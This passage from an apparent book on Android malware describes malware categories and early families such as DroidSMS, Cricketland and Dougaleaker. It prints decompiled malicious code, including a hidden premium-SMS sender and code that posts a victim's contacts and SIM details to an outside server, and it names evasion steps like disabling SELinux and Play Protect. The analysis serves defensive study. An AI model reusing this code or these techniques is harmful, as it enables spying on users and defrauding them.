but any application with the proper permissions can read the data), a spy
ware application might be able to siphon the data.

Spyware has also abused the Accessibility API, which supports power
ful functions including launching an app, performing automated clicks, and
reading text to the user. Some malware families have used these privileges
to read WhatsApp messages and execute configuration changes on the sys
tem without user consent.

Stalkerware
The Android Security team’s definition of spyware is focused on data collec
tion in which the identity of the victim doesn’t matter; the collected data is
resold in bulk or otherwise monetized without care for the affected individ
uals. Malware that is used to spy on particular, known individuals is called
stalkerware, or sometimes commercial spyware or spouseware.

Mobile applications advertised as a tool to track someone can, of course,
be used with full consent of all involved parties. However, some of these ap
plications lack proper controls and have been misused to become a staple
of abusive relationships and can be found on millions of phones. If some
one wants to keep track of their partner’s location or see what text mes
sages they send and receive, a quick internet search for “spying on your
girlfriend/boyfriend/husband/wife” reveals a thriving industry in which
one can pay around $50 for this kind of surveillance software.

Stalkerware applications, whether free or for pay, fail to prominently
notify the device’s owner of their presence. For example, certain apps may
advertise themselves as parental control tools that enable family members to
check on others and, in some cases, manage their mobile devices (for exam
ple, seeing what applications are installed and what URLs have been visited).
But if not designed correctly, these applications may allow a user to spy on
others surreptitiously.

16 Chapter 1



Stalkers usually install stalkerware applications on the victim’s device
when the device is left unattended. During setup, the stalker will configure
the app using their email address or a phone number. Many commercial
stalkerware products even offer a webbased interface. The stalkers can then
take full control of the device from the comfort of that web interface.

Even though there may be legitimate use cases for some of the function
ality offered by these apps (for instance, knowing where one’s children are),
the Android Security team regards any app that can be used covertly to track
another person without their knowledge or permission as malware.

Phishing
Phishing applications try to steal user credentials or payment information
by either asking the user for it or capturing the data when it is transmit
ted. They often target credit card numbers, bank account numbers, cryp
tocurrency wallet credentials, usernames, passwords, personal identification
numbers (PINs), and other authentication factors, such as OTPs. Once the
application has captured the data, it sends it over the network to a system
under the control of a third party. In some cases, if captured credentials en
able access to a private system or network, the impact might extend beyond
the individual and result in largescale hacking, espionage, or theft of confi
dential information, such as intellectual property.

Applications employ various phishing techniques. For instance, certain
phishing apps have impersonated popular email, social network, or financial
services apps by using similar package names, logos, and app layouts. Once
launched, the application may immediately ask the user to enter their cre
dentials, then tell them that there was an error during the login process and
redirect them to the correct site. At that point, the damage is already done;
the app will send the credentials to a server that centralizes the collection of
stolen data, where it might get sold on the dark web or other underground
forums. This technique has also been used by malware campaigns that tar
get crypto wallet apps and phish for the user’s wallet credentials. These can
allow the attacker to transfer funds to their own accounts.

Messaging and communication apps can also enable phishing. Links
embedded in a message can put users at risk if they point to phishing or app
download sites. Using social engineering, an attacker might convince users
to follow a link, which is how they can end up downloading a malicious app
or disclosing sensitive information to a fraudulent site.

Applications that intercept credentials in transit (instead of receiving
them directly from users) also fall within the phishing malware category. For
example, past malware has abused a service that allows mobile carriers to
send traffic routing configurations to mobile phones by inserting a proxy
between the device and the carrier. An app installed on the device first ex
tracts the device’s International Mobile Subscriber Identity (IMSI) using the
Android permission READ_PHONE_STATE and communicates it to a command
andcontrol server. The server then sends this device a text with Open
Mobile Alliance Client Provisioning (OMA CP) settings requesting that the
user install a new configuration with data packet routing changes. As a
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result, the traffic generated by applications on the device—including email
and web traffic, which may include authentication credentials, payments
data, or other user information—will go to a proxy server controlled by a
third party.

Hostile Downloaders
If an app is downloaded frequently, opportunities to monetize it often
arise. This incentive has resulted in the creation of a large number of apps
whose primary job is to install other apps. The developers of benign apps
sometimes pay these installer apps to improve their metrics. Unfortunately,
some malware developers use these same services. An app that does nothing
harmful except download malware applications is considered a hostile down
loader. This type of app has been the starting point of numerous malware
campaigns over the years.

Some hostile downloaders install the same set of apps every time. In
other cases, the type and number of apps they install changes. In all cases,
determining if an application should be considered a hostile downloader
requires data about the type of apps installed and the number of installs.
For example, some applications install a very small number of harmful ap
plications, whereas others mainly distribute malware. The Android Security
team uses different criteria to define the line between benign and hostile
downloaders, and when an application crosses it, it is flagged as malware.
For example, at the time of writing, if at least 5 percent of the app’s down
loads include malware and the application has downloaded a minimum of
500 apps (benign or otherwise), it will be considered a hostile downloader.
Major browsers and file sharing apps are not considered hostile download
ers, as long as a download requires user interaction and any malware down
load is initiated directly by the user.

Hostile downloaders typically make use of two available permissions to
install other apps: INSTALL_PACKAGES and REQUEST_INSTALL_PACKAGES. Of these,
INSTALL_PACKAGES is more powerful, because it allows an application to install
other apps without involving the user. Given the risk of abuse, only pre
installed apps can use this permission.

The more benign permission, REQUEST_INSTALL_PACKAGES, was introduced
in Android 8.0 (Oreo) and is available to all Android apps. This permission
allows an app to request the installation of other apps, for instance, after
the original app has been successfully installed. When declared in the app’s
manifest file, REQUEST_INSTALL_PACKAGES will ask the user for confirmation be
fore an ACTION_INSTALL_PACKAGE intent can be used to install an APK. This per
mission makes it more difficult for hostile downloader developers to force
app installs, as it requires user intervention. Before Android 8.0 (Oreo)
all apps had the option to start a userconsented app installation flow. The
introduction of this new permission makes explicit to users which apps can
be installers of other apps.

Malware developers have found ways to include apps with hostile down
loader functionality in the system images that phone carriers and device
manufacturers put in their products. Thus, many hostile downloaders come
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preinstalled on some devices. In addition to having special permissions and
access to system resources, these preinstalled applications cannot be easily
uninstalled. This privileged position allows a hostile downloader to fetch
and install APKs without user intervention. One additional challenge with
these applications is that the apps that they’ve installed may not be known
to the manufacturer or the company responsible for building the system im
age. As a result, the user of a brandnew device may end up with a number
of unwanted or even harmful applications.

Hostile downloaders that do not have permission to install other apps
may find alternative ways to do it. For instance, they may try to root the
device in order to access the filesystem and copy APKs. Then, they may
try to abuse the PackageManager in some Android versions to actually install
apps. Recent Android versions prevent the direct copying of files using
absolute paths, which is what some hostile downloaders used to do, and re
quire the app to use FileProvider, which is a more secure way to handle files.
In some cases, if the app cannot be fetched and installed quickly, the hos
tile downloader may first download the .apk file using the INTERNET permis
sion and then write it to the SD card (for example, to the Downloads folder)
using WRITE_EXTERNAL_STORAGE. Later, in a second step, the downloader will
try to gain the INSTALL_PACKAGES permission and install the files it previously
downloaded.

Some hostile downloader developers may be aware of the Android
Security team’s detection thresholds and try to stay below those levels. In
some cases, to maintain a high number of app downloads, they might install
multiple hostile downloaders on the same device. When that’s the case, de
tection methods can be adjusted to account for that mutation in behavior.

Privilege Escalation
The privilege escalationmalware category covers applications that try to ele
vate their permissions by abusing the system or exploiting vulnerabilities.
This category covers all privilege escalation cases except rooting, which, due
to its impact on the integrity of the system, has its own category (discussed
previously).

Four malware behaviors characterize this malware category, not all of
which would be considered privilege escalation in other contexts. It includes:

1. Applications that are able to access (read, write, or execute) resources
they originally didn’t have the privileges to access, thereby breaking
the Android app sandbox

2. Applications that manage to find ways to bypass permissions

3. Applications that disable security and safety features on the device

4. Applications that prevent the user from managing their device

Applications that disable security features or that modify the system’s
configuration in a way that leaves the device in a vulnerable state are flagged
as privilege escalation apps. An example is preinstalled applications that
abuse system privileges (for example, the WRITE_SECURE_SETTINGS permission
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or the Settings.Global and Settings.Secure methods) to turn off Google Play
Protect’s malware scanning before they selfupdate or download and install
other malware. Other privilege escalation applications in the past have ac
complished the same objective of disabling security settings by executing
shell commands instead of using Android APIs, and a third group manipu
lated security settings by modifying the package_verifier_enable setting, which
modifies the malware scanning behavior on the device.

Another feature that malware has targeted is SELinux, which comple
ments the filesystem permissions model by defining policies that prevent
access to sensitive resources regardless of the permissions a file may have.
When SELinux is enabled, some exploits may fail, as the resulting privi
leges may be insufficient to access the resources it wants. For example, some
license cracking applications that patch the code of gaming apps in a way
that bypasses license checks and purchase verification need write access to
the filesystem in order to create patched versions of the app. When the ap
propriate SELinux policy is enabled, such modifications are prevented, and
malware must try to disable it as one of its first steps. It might do this, for in
stance, by running a setenforce 0 command to turn SELinux from socalled
enforcing mode to permissivemode. It’s worth noting that, on modern devices
running at least Android 5.0 (Lollipop), permissive mode is supported only
in userdebug and eng builds, which are special Android device configurations
usually reserved for development and testing. It should not be possible to
turn off SELinux on regular end user devices.

Some apps modify the install_non_market_apps setting for the purposes
of privilege escalation. Android devices give the user the ability to install
applications from any source. This setting, however, prevents applications
from installing additional applications from sources other than Google Play,
given that these sources have a higher risk of distributing malware. When an
app automatically modifies this setting without user consent, the app will be
flagged as malware, as it may leave the device in a vulnerable state.

Malware authors have also abused the device manager APIs (imple
mented in classes like DevicePolicyManager or DeviceAdminReceiver), which en
able device management operations through a set of policies, especially
for enterprise deployments, including resetting and expiring passwords,
wiping user data partitions through factory reset, and requiring encryption
of stored data. Malware developers have used the device manager APIs to
prevent their apps from being removed. For example, some malware fami
lies observed in the wild call resetPassword and lockNow to lock a device when a
user action triggers an onDisableRequested callback that will try to remove de
vice admin privileges from the potentially harmful app. In other cases, the
app may monitor user access to system settings and trigger the same behav
ior: locking the owner out.

Since Android 9.0 (Pie), the device manager APIs have been phased out
(deprecated), partially in response to malware abuse, as a number of past
privilege escalation apps used them as a vector to exercise device control
without user consent. Prior to this, these APIs went through changes that
lessened their potential for abuse. For example, as of Android 7.0 (Nougat)
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the method resetPassword can only be used to set new device passwords, not
to change already existing passwords. This prevents users with existing de
vice passwords from being locked out of their devices.

One final setting worth mentioning is upload_apk_enable. This setting
controls whether the device shares APK samples with Google Play Protect
to help identify malware. Malware authors may try to disable it as a means to
slow down the detection of their apps.

It is also worth mentioning that some applications rely on other applica
tions to weaken the security posture of the device before executing. For in
stance, some malware families include a rooting component whose job is to
weaken the security of the execution environment and filesystem in prepara
tion for other applications actually accessing the data made available by the
rooting component. Some of these secondary applications take advantage
of the vulnerable state of the system to access, for instance, the accounts.db
file, which contains tokens that allow the device to access a number of ser
vices. These apps might read and then send Google OAuth master tokens
and ClientLogin tokens for Google Play. In other cases, file attributes are
manipulated to make modification or removal more difficult, for example
by declaring files readonly, moving them to privileged partitions, or making
files more difficult to remove by using the chattr shell command to set +ia
attributes on them. A file with these attributes can only be opened in ap
pend mode for writing; it cannot be deleted or renamed.

Ransomware
An app is considered ransomware if it takes control of the user’s data or
device and makes demands to release this control. These demands may
include the payment of a ransom or a request for the user to perform an
action against their will. The two primary ransomware methods observed in
the Android ecosystem are preventing access to the user’s data by encrypt
ing it on the device with a key that the attacker controls and locking users
out of their devices, either through the actual screen locking mechanism or
by making the GUI unusable for anything besides the ransomware app.

Ransomware apps that encrypt user data first need to get permission to
write to the filesystem (for example, through the WRITE_EXTERNAL_STORAGE per
mission). Then they can explore the filesystem, checking the status of spe
cific files and directories via getExternalStorageState. In some cases, the app
will read all files from external storage and write them back in encrypted
form using the java.io.File.* methods and an encryption key. In other cases,
only images and messages are encrypted, but not other file formats. In all
situations, the app displays a notification to the user explaining how to send
the payment, often requesting cryptocurrency to hide the perpetrator’s iden
tity. The message also describes how the user will receive the decryption key
and recover their files.

These applications often use standard encryption algorithms, such as
AES for data encryption and RSA for key protection. With this approach,
the AES symmetric key used to encrypt the files is encrypted under the at
tacker’s RSA public key and sent to a commandandcontrol server so that
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the attacker can later decrypt it and then send it to the user if the payment is
received.

Other applications do not encrypt any data but instead block access to
the device by displaying a ransomware note that covers the entire screen
and that the user cannot remove. Even after a reboot, the note remains.
This type of attack prevents the user from accessing the device’s interface,
including performing actions like making calls or reading messages. Some
apps use the SYSTEM_ALERT_WINDOW permission to display such an overlay win
dow. First, they identify the processes running on the device by calling
getRunningServices, checking process IDs on /proc using the command line,
or identifying the top activity via getRunningTasks. Next, they call startActivity
to draw over other apps that are executing.

A ransomware application can also use the BIND_DEVICE_ADMIN permission
available in some Android versions and then use DevicePolicyManager meth
ods, like resetPassword and lockNow, to change the device’s password.

SMS Fraud
Some applications cause direct financial harm to the user. That is the case
for malware that uses text messages to commit fraud. The SMS fraud cate
gory is composed of applications that send SMS or MMS messages to spe
cial numbers, called short codes. These are typically three to eightdigitlong
codes, such as 1234, that charge the user a premium when they send SMS
messages to these numbers. Such premium messages were created for legit
imate purposes, such as allowing users to send donations to people affected
by disasters, vote for a performer on a TV show, or subscribe to information
services delivered via text (for example, daily news, jokes, the weather fore
cast, or horoscopes). Even though carriers support them, the actual services
may be delivered by third parties.

SMS fraud apps send text messages in an intentionally deceptive way.
They abuse the SEND_SMS permission by calling APIs such as sendTextMessage,
sendMultimediaMessage, or sendMultipartTextMessage without the user’s involve
ment and actively suppress any notifications to prevent detection. In some
cases, it is only when the user reviews their phone bill that they learn about
the fraudulent charges made to their account.

Even in cases where the destination is a regular number but there is no
disclosure to the user of the text messages being sent, an application may
be suspended for violating Google Play policies that protect users from SMS
use without consent. However, when the number is a short code for pre
mium services, the application will be flagged as malware, as these SMS mes
sages directly incur a cost to users. Android warns the user when a premium
SMS is being sent. However, this warning does not represent a disclosure;
the application sending the message must disclose such activity within the
app in a clear and prominent way.

SMS fraud apps sometimes come loaded with a list of premium num
bers to use. They then check the device’s country and mobile carrier to se
lect a specific number from the list. In other cases, the destination number
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is dynamically loaded from a commandandcontrol server, which offers the
fraudster flexibility and gives them the ability to add new numbers.

These applications may also disguise premium SMS subscriptions by
hiding disclosure agreements or messages from the mobile operator that
notify the user of charges or new subscriptions.

Toll Fraud
Toll fraud applications are those that trick users into subscribing to services
or purchasing content via charges to their phone bill. It excludes charges
generated by premium text messages, which have their own category (dis
cussed in the previous section).

Many payment and billing technologies allow users to buy products and
subscribe to services by simply charging payments to their mobile phone bill,
which is a useful solution in countries where credit or debit card usage is
not widespread. These include direct carrier billing (DCB), Wireless Appli
cation Protocol (WAP), and mobile airtime transfer (MAT), which track the
user’s data and airtime balance, their activity, and their purchases. Because
they manage charges, and because purchases can be made relatively silently
(in some cases with one click or by simply confirming the phone number to
charge), these systems are an inviting target for fraudsters.

One of the first things toll fraud applications do to engage in carrier
billing is disable the WiFi connection. When the device is using a WiFi net
work, it won’t use the mobile data connection managed by the carrier, such
as LTE, 3G, or 4G. Any traffic generated by the device will flow through the
user’s WiFi access point and internet service provider (ISP) instead. Apps
can disable WiFi by, for example, using the setWifiEnabled API, and enable
mobile data using the setMobileDataEnabled API. Once this is done, the app
may open a service subscription web page using a WebView with JavaScript
enabled, then inject JavaScript to autoclick buttons that complete the sub
scription. The service may send text messages to the mobile device confirm
ing the subscription, but the toll fraud app will intercept those and delete
them, preventing the user from becoming aware of the fraudulent actions.

The permissions often abused by toll fraud apps include CHANGE_WIFI

_STATE, which is needed to switch to mobile data; RECEIVE_SMS or READ_SMS, to
read confirmation codes or subscription alerts; and READ_PHONE_STATE, to ob
tain the phone number or other device identifiers needed to subscribe the
user to a service. Recently, toll fraud apps have started to abuse the BIND

_NOTIFICATION_LISTENER_SERVICE permission to access incoming texts after a
Google Play policy change that cracked down on apps using texts.

The malicious code that implements the fraudulent functionality is of
ten obfuscated (for example, Base64 encoded) or dynamically fetched after
install to avoid detection.
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Call Fraud
The call fraud malware category is composed of applications that generate
charges on the user’s phone bill by placing phone calls to premium num
bers without the user’s consent or knowledge. As with SMS fraud, this type
of abuse relies on a convenient feature that many phone carriers offer: the
ability to buy products and subscribe to services over the phone by adding
them to the user’s phone bill for future payment. In some cases, the billing
account may be linked to automated payments via a credit card or a bank
account. When that’s the case, the user may not realize that they are being
charged for phone calls to toll numbers.

In order to hide the calls, fraudulent apps may rely on the CALL_PHONE

permission to initiate them without using the Dialer user interface on the
device, as this would visually alert the user. Still, the user could poten
tially hear the call. In order to silence the audio, some malware uses the
setStreamVolume method in the AudioManager class, which controls the vol
ume level of audio streams, to set the volume to its lowest level.

Other signs of call fraud malware include the use of permissions like
PROCESS_OUTGOING_CALLS, which allows the application to retrieve the phone
number being dialed, redirect the call, or terminate it, so that the applica
tion can close the call a few seconds after successfully establishing the con
nection and incurring the toll charge. They might also include the use of
call intents, requests to the operating system to make phone calls, to actually
perform a call based on predefined toll phone numbers or phone numbers
dynamically received from a commandandcontrol server.

Spam
Spam applications send unsolicited messages to users or use the device as an
email spam relay, often to advertise products or services.

The list of targets to spam may come from the user’s phone directory
or the contact lists of social networking apps like Facebook and WhatsApp.
They can also be dynamically provided by a commandandcontrol server or
fetched from a web server. Once the app has collected the list of targets, it
starts sending messages to them silently. In some cases, this may happen via
text. In other cases, the application may try to send messages using an API
(such as the Facebook API), although that requires the user to be logged in.
Spam malware is rare nowadays. We include it here for completeness.

Ad Fraud
Many Android apps have the ability to fetch ads from an ad network and
display them to the user. When an app displays an ad, a publisher and net
work get credit for that ad, a metric called an impression. When a user actu
ally clicks an ad, advertisers generally compensate publishers for the clicks
they helped produce.

Where there’s a money flow, there’s the possibility of abuse. The ad
fraud category includes applications that maliciously manipulate mobile ad
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platforms for financial gain. There are two main classes of ad fraud: click
fraud and attribution fraud.

In click fraud, the application fetches ads from an ad network and gener
ates automated clicks without user intervention or notification. These could
be inapp clicks simulated through Java APIs, for example, or clicks triggered
via JavaScript code loaded into a WebView. In some cases, the app hides the
ads, making them difficult for the user to detect, by using minimum dimen
sions, like 1×1 pixels. In other cases, the user can see the ad but does not
realize that the app is producing click events in the background.

Traffic from click fraud applications ends up artificially inflating the
number of clicks linked to an ad. The network tracks this number and com
municates it to the advertiser, which in turn pays for these clicks, despite the
fact that they were not driven by actual user interest. This type of malware
defrauds advertisers, whose ad budgets and conversion rates may take a hit,
eroding their trust in the ecosystem. Users might also be affected by click
fraud when significant fake ad traffic wastes their mobile plan’s data budget
and battery charge and irrelevant ads are presented to them.

The second class of ad fraud is attribution fraud, which occurs when an
app tries to change the data used to attribute an ad impression or an app in
stall to a referrer or publisher. For example, if an ad displayed by the app is
linked to a referrer identifier, the ad network will track that identifier to en
sure that the appropriate referrer is compensated. However, an attribution
fraud app may listen for broadcast intents that include referrer identifiers
and then send spoofed traffic to the ad network that changes the identifier.
As a consequence, someone else will be compensated for the impressions.
In some cases, the code that implements attribution fraud is part of a soft
ware development kit (SDK), a set of tools that application developers may
include in their apps without knowing that it contains code that will try to
divert ad or app install credits.

Additional schemes may fit the definition of ad fraud. For example, for
advertising networks that pay per impression, impression fraud, or manipu
lating how many ads are displayed and how often, can be used to drum up
ad income. We have also seen more sophisticated schemes, such as ad net
works that spy on their competitors’ impression and click information, or ad
networks that collect all the necessary pieces of information to perpetrate
a fraud, send it to their servers, and then carry out the actual fraud server
side on simulated Android devices. None of these are covered in this book,
however, as the ad fraud space is huge and, for some reason, the historically
important ad fraud malware families on Android have all used click fraud or
attribution fraud.

Non-Android Threats
The Android Security team defines one last malware category: nonAndroid
threats. These applications contain some kind of malicious behavior but can
not directly harm Android users. In most cases, this category is used to flag
Android apps that contain Windows malware, nearly always because the ap
plication developer’s computer was infected with Windows malware at build
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time. The use of this category mainly benefits app developers, as it lets them
realize that something is wrong with their app. Actual Android users won’t
be harmed by the app’s malicious components.

Up Next
Now that we’ve introduced the Android security model and the malware
categories tracked by Android Security, the next chapter will review 10 years
of Android malware. We’ll provide examples of actual malware families and
explain why the popularity of a malware category changes over time.
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2
ANDROID MALWARE IN THE WILD

This chapter is an overview of interesting
Android malware found in the wild since

2010, when the first specimens were dis
covered. As you’ll soon see, malware authors

are constantly searching for more profitable ways to
abuse Android devices, leading to the rise and decline
of numerous malware families.

There are millions of Android malware samples out there, and this chap
ter could not possibly cover them all. Instead, we chose to focus mainly on
famous malware families with high app counts, likely devised by largescale
malicious enterprises. These enterprises are usually interesting in some way,
be it for their technological capabilities or their operational prowess. We
also highlight some malware families that haven’t been discussed in pub
lications elsewhere. Even regular readers of the Android Security team’s
Android Security Year in Review reports should discover new information
here. For each malware family, we discuss its technical properties, its inter
esting features, and its place in Android malware history.



NO T E We refer to malware samples by their package name, their version code, and the first
four digits of the malware file’s SHA256 hash, like this: com.batterypro (v4,
29ee). Using this information, you should be able to find the malware samples in
your own malware file databases.

The Early Years: 2008 to 2012
Hackers were quick to discover Android. The platform launched in 2008,
when criminal malware enterprises had already begun abusing other op
erating systems. Eighteen months later, its swiftly acquired market share
had made it commercially interesting to criminal malware authors, and in
2010, the first Android malware sample appeared on Google Play (known as
Android Market at the time).

To this day, nearly all known Android malware aims to make money
through illicit methods. Contrast this with the much older world of DOS,
Windows, and Linux malware, which saw decades of technical innovation be
fore profit became the primary motive of malware authors. By comparison,
Android malware remains primarily interesting for its exploration of all the
new ways smartphones can be exploited to make money at scale in ways that
are not possible on desktop systems.

After the first highprofile malware incidents, the Android Security team
developed a plan to keep Google Play free of malware. To evade the new
defenses, malware authors adopted a few strategies: continuing to develop
malware for release on Google Play, which required investment in tech
niques for bypassing Google Play’s malware scanning; developing malware
for distribution through thirdparty websites and app stores (called sideload
ing), which required investment in marketing methods that would appeal to
users; and developing malware to be preinstalled on devices, which required
investment in social engineering and strategies such as setting up fake busi
ness fronts to deceive device manufacturers into including malware on their
devices as part of the manufacturing process. This chapter details malware
distributed in all of these ways.

DroidSMS
In August 2010, the Russian security company Kaspersky discovered mal
ware outside of Google Play. Dubbed DroidSMS and described in a blog
post titled “First SMS Trojan for Android,” this is often considered to be the
first Android malware family.

DroidSMS was used to send costly SMS messages from user devices to
a premium SMS number that fraudsters had registered earlier. When users
installed and ran DroidSMS, the app sent a hidden message without the user
noticing. The user would then get billed a small sum of money for the mes
sage, which would go to the malware authors. Affected users only learned
about this illicit charge the next time they received their phone bill, and only
if they cared to check their bill for inexplicable charges.

All of this secret SMS activity happened within the boundaries of
Android’s platform security model. In particular, Android’s permission
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system worked as designed, displaying a dialog that asked users whether
to allow DroidSMS to send messages. At the time, Android often let users
make securityrelevant decisions. After all, Android was an open system, the
prevalent way of thinking went, and so users should make their own secu
rity and privacy choices; Android and Google Play would merely provide
users with the information needed to make such decisions. However, apps
that abused many users’ lack of security mindset soon began appearing on
Google Play.

In retrospect, the idea of leaving security and privacy decisions up to
the users may have seemed reasonable in the days when nobody but technol
ogy enthusiasts used Android. But as soon as it began to gain widespread
appeal, this system broke down. It is not rational to expect billions of every
day users to understand the intricacies of Android’s permission system. The
Android team eventually realized this and retrofitted Android with the many
“safebydefault” techniques that now protect users from straightforward
abuse like that perpetrated by DroidSMS.

DroidDream
A few months after DroidSMS appeared, the Android malware situation
escalated. In March 2011, San Francisco–based security company Lookout
Mobile Security discovered a new trojan on Google Play that it named Droid
Dream. As described in Lookout’s blog post “Security Alert: DroidDream
Malware Found in Official Android Market,” DroidDream went further than
previous Android malware, as it broke out of the boundaries of the Android
security model. Using a privilege escalation exploit called Rage Against the
Cage (also known as CVE2010EASY), DroidDream exploited a vulnerability
in the Android operating system to gain root privileges.

DroidDream was a turning point for the Android Security team. Be
cause affected devices were permanently compromised and users could not
reset them to a secure state, it became mandatory for Google Play apps to
be scanned for safety before getting into users’ hands. The Android Security
team quickly announced that they would remove existing DroidDream instal
lations from devices, which would save at least those users that had installed
but not yet opened infected apps.

Remote removal of apps had not previously been attempted, and remov
ing DroidDream from devices relied on a hack built into the Google Play
app. Due to the obvious value of remote removal, the Android Security
team added it as an official feature to Google Play Protect. Nowadays, the
Android Security team regularly protects Android users by remotely remov
ing suspected malware apps in highrisk categories, such as bank phishing or
ransomware, and rooting trojans like DroidDream.

The Wallpaper Family
This large SMS fraud malware family from the early Android days pretended
to offer home screen wallpapers for download. Despite its size, this malware
family has not yet been publicly described.
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Like all early Android malware, it did not protect itself against analysis.
Its apps executed their malicious payload without applying any obfuscation
or other trickery to throw off security researchers. For example, Listing 21
shows the SMS fraud functionality in com.kk4.SkypeWallpapers (v3, 8cab). The
app checks whether it is running on a Russian phone and, if so, executes the
makeRelation method to send an undisclosed premium SMS.

private void makeRelation(

String phoneNumber, String message, Context context) {

int v3_0 = 0;

AlertDialog.Builder v6_1 = AlertDialog.Builder(this);

v6_1.setMessage("You don't have enough permissions");

v6_1.setCancelable(0);

v6_1.setNeutralButton("OK",

new com.kk4.SkypeWallpapers.AlertActivity$5(this));

PendingIntent v4_0 = PendingIntent.getBroadcast(

this, v3_0, new Intent("SMS_SENT"), v3_0);

PendingIntent v5_0 = PendingIntent.getBroadcast(

this, v3_0, new Intent("SMS_DELIVERED"), v3_0);

this.registerReceiver(

new com.kk4.SkypeWallpapers.AlertActivity$6(this, v6_1),

new IntentFilter("SMS_SENT"));

SmsManager.getDefault().sendTextMessage(

phoneNumber, 0, message, v4_0, v5_0);

}

Listing 2-1: Premium SMS fraud in com.kk4.SkypeWallpapers (v3, 8cab)

The method name makeRelation is characteristic of this family. Readers
with access to Android malware databases can search for it to discover addi
tional samples.

The Camera Family
This large SMS fraud malware family is unnamed and has no publicly avail
able documentation. Often disguised as camera apps or other system util
ities, it became active in mid2011 and proved more sophisticated than the
Wallpaper family.

Rather than merely targeting users in Russia, this malware family col
lected information about the device’s country and mobile carrier, sent it to
a commandandcontrol server, and received the phone number and SMS
message text to send. This technique allowed it to operate in different coun
tries and expand into new countries, without updating the apps. Listing 22,

30 Chapter 2



taken from com.batterypro (v4, 29ee), shows how this device profiling data was
collected.

if (this.prefsWrapper.isFirstRun()) {

this.params.put("pid", this.getString(2131034134));

this.params.put("pin", String.valueOf(this.utils.getPin()));

this.params.put("carrier",

this.telephonyInfo.getTelephonyNetworkOperatorName().replaceAll("\n", ""));

this.params.put("imei", this.telephonyInfo.getTelephonyIMEI());

this.params.put("market", "1");

this.params.put("cc",

this.telephonyInfo.getTelephonyNetworkOperator());

this.params.put("appurl", this.getString(2131034135));

}

Listing 2-2: The com.batterypro (v4, 29ee) app collects device information that is later used to customize
SMS fraud.

Benign and malicious apps alike commonly record the data points col
lected by this app, like the device’s International Mobile Equipment Identity
(IMEI). As IMEI numbers are globally unique identifiers, they can be used to
fingerprint devices, identify individual users, and associate other collected
data with a particular device.

To curb the abuse of IMEIs for user tracking, Android 10 began guard
ing access to the IMEI and other similar hardware identifiers by using a spe
cial permission called READ_PRIVILEGED_PHONE_STATE. This permission is not
available to apps on Google Play. Apps that want to access these hardware
identifiers must find other distribution opportunities.

Cricketland
While SMS fraud accounted for about 20 percent of the Android malware in
2012 and received the most public attention, the availability of sensitive data
on mobile phones also gave rise to spyware. In fact, spyware was the most
common malware category in the early days of Google Play—and among the
early spyware families, Cricketland was the largest.

Publicly undocumented until now, Cricketland was an SDK embedded
in seemingly legitimate apps from Vietnam. It is not clear whether app de
velopers using this SDK knew of its spyware functionality. Without user
consent, the SDK would send the user’s contact list information to a remote
server. The Android Security team named it Cricketland after the SDK pack
age name, net.cricketland.

Cricketland’s code was not very sophisticated. When an app with
Cricketland initialized the SDK, it collected all kinds of information and
uploaded it to a page hosted on Google Drive. One example of an app us
ing the Cricketland SDK was masteryourgames.amazingalextoolbox (v12, c4f0).
Its data collection code is shown in Listing 23.
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net.cricketland.android.lib.report.CReportField[] v0_4 =

new net.cricketland.android.lib.report.CReportField[17];

v0_4[0] = net.cricketland.android.lib.report.CReportField.DEVICE_ID;

v0_4[1] = net.cricketland.android.lib.report.CReportField.UUID;

v0_4[2] = net.cricketland.android.lib.report.CReportField.PACKAGE_NAME;

v0_4[3] = net.cricketland.android.lib.report.CReportField.VERSION_CODE;

v0_4[4] = net.cricketland.android.lib.report.CReportField.IP;

v0_4[5] = net.cricketland.android.lib.report.CReportField.PHONE;

v0_4[6] = net.cricketland.android.lib.report.CReportField.ACCOUNTS;

v0_4[7] = net.cricketland.android.lib.report.CReportField.CONTACTS;

v0_4[8] = net.cricketland.android.lib.report.CReportField.LOCALE;

v0_4[9] = net.cricketland.android.lib.report.CReportField.LOCATION;

v0_4[10] = net.cricketland.android.lib.report.CReportField.SDK;

v0_4[11] = net.cricketland.android.lib.report.CReportField.BUILD;

v0_4[12] = net.cricketland.android.lib.report.CReportField.CPU;

v0_4[13] = net.cricketland.android.lib.report.CReportField.MEM;

v0_4[14] = net.cricketland.android.lib.report.CReportField.DISPLAY;

v0_4[15] = net.cricketland.android.lib.report.CReportField.FEATURES;

v0_4[16] = net.cricketland.android.lib.report.CReportField.PACKAGES;

Listing 2-3: Cricketland data collection code in masteryourgames.amazingalextoolbox
(v12, c4f0)

The Android Security team considers any app that collects a user’s
contact list without consent to be spyware. Collecting phone location or
account information without user consent is also problematic and covered
in Google’s Mobile Unwanted Software policy. As this account information
includes all accounts registered on a device, malware can use it to connect
a user’s email address with their LinkedIn profile, X name, Facebook page,
and more.

The danger of collecting account information to build crossplatform
user profiles should be obvious. In Android 8.0 (Oreo), the Android team
removed the ability to silently collect this information without user consent.

Dougaleaker
Another notable spyware network from 2012 was Dougaleaker, which tar
geted the contact list information of Japanese nationals. It was discovered
by USbased security company McAfee and described in a blog post titled
“Android Malware Promises Video While Stealing Contacts.”

Japanese police eventually arrested the authors of Dougaleaker, who
went on trial for spyware distribution but were found not guilty by a Japanese
court. Little information about this case is available in the Englishlanguage
press, but the article “5 Tokyo Devs Cuffed over ‘The Movie’ Android App
Scam,” published in The Register, provides some background.

After a user launches a Dougaleaker app, for example jp.co.dougastation
(v2, 83fd), the spyware functionality sends their contact list information to a
web server (Listing 24).
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String v1_0 = jp.co.dougastation.util.PhoneUtil.getPref(this, "ALREADY_GET");

if ((jp.co.dougastation.util.StringUtil.isEmpty(v1_0)) || (!v1_0.equals("true"))) {

String[] v3_5 = new String[2];

v3_5[0] = "http://i-hug.net";

v3_5[1] = "/appli/addressBookRegist";

String v2_0 = jp.co.dougastation.util.StringUtil.addString(v3_5);

java.util.ArrayList v0_1 = new java.util.ArrayList();

v0_1.add(new BasicNameValuePair("telNo",

jp.co.dougastation.util.PhoneUtil.getTelNo(this)));

v0_1.add(new BasicNameValuePair("individualNo",

jp.co.dougastation.util.PhoneUtil.getIndividualNo(this)));

v0_1.add(new BasicNameValuePair("simSerialNo",

jp.co.dougastation.util.PhoneUtil.getSimSerialNo(this)));

v0_1.add(new BasicNameValuePair("appliId", "4"));

if (4 >= jp.co.dougastation.util.PhoneUtil.getSdkVersion()) {

v0_1.add(new BasicNameValuePair("addressBook", this.getMailUnder4()));

} else {

v0_1.add(new BasicNameValuePair("addressBook",

jp.co.dougastation.util.AddressBookUtil.getAddressBookOver4(

this.getContentResolver())));

}

jp.co.dougastation.util.HttpUtil.doPost(v2_0, v0_1);

